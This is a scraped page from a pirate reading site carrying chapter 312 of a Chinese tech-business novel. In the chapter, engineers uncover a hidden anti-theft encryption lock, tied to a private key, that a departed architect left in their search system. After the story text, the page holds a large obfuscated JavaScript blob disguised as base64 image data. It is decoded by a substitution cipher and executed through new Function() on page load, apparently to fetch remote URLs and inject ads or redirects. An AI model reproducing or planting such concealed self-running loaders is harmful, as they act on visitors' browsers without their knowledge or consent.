首页
第三百一十二章 防盗锁
返回
关灯 护眼:关 字号:小

第三百一十二章 防盗锁

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第三百一十二章防盗锁(第1/2页)
    何明的指尖悬在键盘上方,屏幕上的调用链图谱像一张深不见底的蛛网,层层向下延伸。
    “加密模块下面是网络接口层。“何明的声音干涩,“再往下是日志系统。“
    炜杰站在他身后,盯着屏幕右下角的时间。凌晨两点十七分。距离上一次内存注入成功验证已经过去六个小时,他们没有一个人离开机房。两百万美元的投资协议锁在炜杰办公室抽屉里,此刻千度的命运比那几张纸更脆弱。
    何明敲下一行命令。光标闪烁,屏幕滚动,一行行系统代码瀑布般倾泻。网络接口层之下,日志系统再之下,出现了一个让何明后背绷紧的东西——一个被命名为“核心资源完整性校验“的独立子系统。
    “这不在我们的架构图里。“何明的手停在键盘上,“王志远把它藏在了日志系统的维护接口后面。“
    炜杰凑近屏幕:“干什么用的?“
    何明没有立刻回答。他打开了一个新窗口,开始逆向这个子系统的入口逻辑。屏幕上的代码行飞速滚动,何明的眼睛跟着光标上下扫动,偶尔停下来在关键位置打上标记。十五分钟后,他的脸色变了。
    “不是自毁。“何明抬起头,眼睛里布满血丝,“也不是数据泄露。这是一个——防盗锁。“
    炜杰皱眉。
    “王志远设计了一个安全保护协议。“何明指着屏幕上的一行关键注释,“核心逻辑:如果千度的系统被未经授权的方式迁移或复制,比如有人物理偷走了硬盘,第三层就会触发。它不会销毁数据,而是会用王志远预设的密钥对核心索引进行一次性加密。“
    “一次性加密?“炜杰的声音沉下去。
    “对。加密完成后,解密密钥会被拆成五个片段,分别写入不同的系统模块——日志头、网络配置、索引元数据、内存分配表、定时任务队列。“何明调出五个分散在不同子系统的数据结构的地址,手指在屏幕上逐个点过去,“五个碎片,缺一不可。就算有人拿到了硬盘,也凑不齐这五个碎片。“
    炜杰盯着屏幕上那五个孤立的节点,像盯着五把锁。
    “这理论上是个保护措施。“何明继续说,“竞争对手偷了硬盘也读不出核心数据。问题是——“
    “问题是它分不清敌我。“炜杰接过话头。
    何明点头:“安全保护协议的触发条件写得非常宽泛。任何超出预设白名单范围的硬件变更、系统镜像复制、批量数据导出,都会被判定为‘非法迁移‘。王志远离职前根本没有把千度后续正常的数据迁移操作加入白名单。“
    “也就是说,如果我们按计划把系统迁移到新服务器——“
    “第三层会立刻判定系统被盗,触发核心索引加密。“何明一字一顿,“千度的搜索索引会变成一堆废铁。五把钥匙,王志远全带走了。“
    机房里只剩下服务器风扇的嗡鸣。炜杰走到窗边,冬夜的北京城一片漆黑,只有零星灯火。十八天后就是迁移期限,而他们的核心数据被一把离职高管留下的锁死死捆住。
    “叫刘芳。“炜杰转过身,“还有李彦强。“
    凌晨三点四十分,四个人围在机房角落的白板前。何明用马克笔画出第三层的架构图,线条交错,像一团乱麻。
    刘芳双手抱胸,听完何明的分析,第一个开口:“两个选择。第一,找王志远拿密钥。第二,在迁移前想办法绕过这个安全保护协议。“
    “找王志远?“李彦强靠在墙边,脸色铁青,“他现在是搜乎的首席架构师。你知道这意味着什么吗?我们去问他拿密钥,等于告诉他千度的系统里藏着什么、藏在哪里。“
    “那选项二。“刘芳说,“骗过安全保护协议。让它认为我们的迁移是合法操作。“
    何明摇头:“没那么简单。这个安全保护协议不是看表面操作,它监控的是底层系统指纹——硬件序列号、磁盘分区表、内核启动时间戳、网络接口的物理地址。这些都是很难伪造的。“
    “很难,不是不可能。“炜杰盯着白板,“王志远写这个协议的时候,一定预设了‘合法迁移‘的条件。否则他自己也知道这会把千度锁死。“
    何明眼睛一亮:“对。协议代码里肯定有合法迁移的判定逻辑。王志远不会写一个连自己都无法维护的东西。“
    “找出来。“炜杰说,“他预设了什么条件,我们就满足什么条件。“
    李彦强沉默了很久,终于开口:“我选方案一。但方案二也要准备。如果方案一走不通,我们至少要有谈判的底牌。“
    炜杰拍板:“何明,天亮前把合法迁移的完整条件列表挖出来。刘芳,你带索引组准备两套迁移方案——一套是正常方案,一套是绕开第三层的应急方案。“
    何明和刘芳同时点头。
    李彦强转身往外走,到门口时停住脚步:“炜杰,如果王志远是故意把这把锁留给我们呢?“
    (本章未完,请点击下一页继续阅读)第三百一十二章防盗锁(第2/2页)
    “那就让他看看这把锁锁不锁得住。“炜杰说。
    凌晨五点,何明还在电脑前奋战。炜杰端来两杯咖啡,放在桌角。何明没抬头,接过一杯灌了一大口。
    “追查得怎么样?“炜杰问。
    “比预想的深。“何明敲了几下键盘,屏幕上跳出一个函数调用图,“安全保护协议不只是一个简单的开关。王志远设计了一套完整的判定链条——环境检测、操作溯源、身份认证,三层全部通过才认定为合法迁移。“
    “身份认证那一层是什么?“
    “目前还不清楚。“何明皱着眉,“前面两层我都能追踪到具体的检查点,但第三层的调用链被加密了,需要多花点时间。“
    炜杰点点头,没有再打扰他。
    天快亮的时候,何明的电脑屏幕上终于跳出了一份完整的条件清单。他揉了揉发酸的眼睛,把炜杰叫过来。
    “合法迁移的判定逻辑比我想的复杂。“何明说,“安全保护协议会检查三个层面的指标。第一层是硬件环境——新服务器的硬件序列号必须在白名单里。第二层是操作流程——迁移必须由特定的管理员账户发起,而且这个账户要持有特定的权限令牌。第三层——“
    何明停住了。
    “第三层是什么?“炜杰问。
    何明指着屏幕上的一行代码:“需要一段数字签名。“
    炜杰凑近屏幕。那是一段十六进制编码的调用指令,备注栏里只有四个字:“创建者验证“。
    “王志远把自己的数字签名写进了合法迁移的必需条件里。“何明的声音发紧,“没有他的私钥签名,安全保护协议根本不会认。“
    炜杰盯着那四个字,良久没有说话。晨光从机房的百叶窗缝隙里漏进来,在地板上切出一道苍白的线。王志远早就想到了这一天。他留下了一把锁,锁的钥匙只有他一个人有。
    “白名单我们可以伪造。“何明继续说,“管理员账户和权限令牌我们也可以复制。但数字签名——这是密码学层面的东西。没有私钥,我们签不出王志远认证过的合法签名。“
    “就没有别的入口?“炜杰问,“没有备用密钥?没有管理员绕过通道?“
    何明摇头:“我翻遍了整个协议代码。王志远只给自己留了路。“
    正说着,炜杰的手机响了。他看了一眼来电显示,是深圳的一个座机号码。
    “炜杰,是我。“电话那头是千度派驻深圳的市场专员小周,声音压得极低,“刚得到的消息,搜乎在南山软件园租下了整层写字楼,挂了‘搜乎深圳研发中心‘的牌子。我打听了一下,他们从硅谷挖来了三个架构师,昨天刚到。“
    炜杰握紧手机:“硅谷来的?知道背景吗?“
    “一个是前网景的分布式系统工程师,另外两个是搜索引擎相关的,具体履历还在查。“
    “继续盯着,有任何新动向马上汇报。“
    挂断电话,炜杰看向何明。何明从对话中已经猜到了大概,脸色更差了。
    “搜乎在深圳建研发中心?“何明问。
    “嗯。从硅谷挖了人。“炜杰把手机放回兜里,“他们动作越来越快了。“
    何明沉默片刻,突然说:“王志远这把锁,如果搜乎知道它的存在,他们就会知道我们的软肋在哪里。“
    “所以方案二绝不能让他们知道。“炜杰说,“方案一也不能找王志远本人。我们得靠自己。“
    何明深吸一口气,重新转向屏幕:“我再看看协议代码,也许有遗漏的地方。“
    炜杰站在他身后,看着屏幕上一行行滚动的代码。窗外的天色越来越亮,北京的早高峰即将开始,街上会逐渐喧闹起来。但在机房里,两个人都清楚,真正的战场不在窗外,而在这些冰冷的代码之间。
    “炜杰。“何明突然开口,声音很轻。
    “嗯?“
    “我发现了一件事。“何明的手指停在屏幕上的某一行,“在‘合法迁移‘的判定逻辑里,有一个参数叫‘认证来源‘。这个参数默认指向王志远的私钥证书路径。但——“
    “但什么?“
    何明转过头,眼睛里的血丝在晨光中格外刺眼:“但这个参数是硬编码的。也就是说,如果王志远不把他的私钥交出来,我们永远无法满足‘合法迁移‘的全部条件。“
    炜杰没有说话。
    “这不是一个技术问题。“何明说,“这是一个钥匙问题。王志远把钥匙带走了,而我们进不了这扇门。“
    炜杰的手机又响了。这次不是电话,是一条短消息,发信人未知。
    他点开看了一眼,屏幕上的文字让他的手指收紧。
    “想知道第三层的完整设计吗?老地方见。“
    炜杰把手机揣回兜里,没有告诉何明。他看向窗外,天亮了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();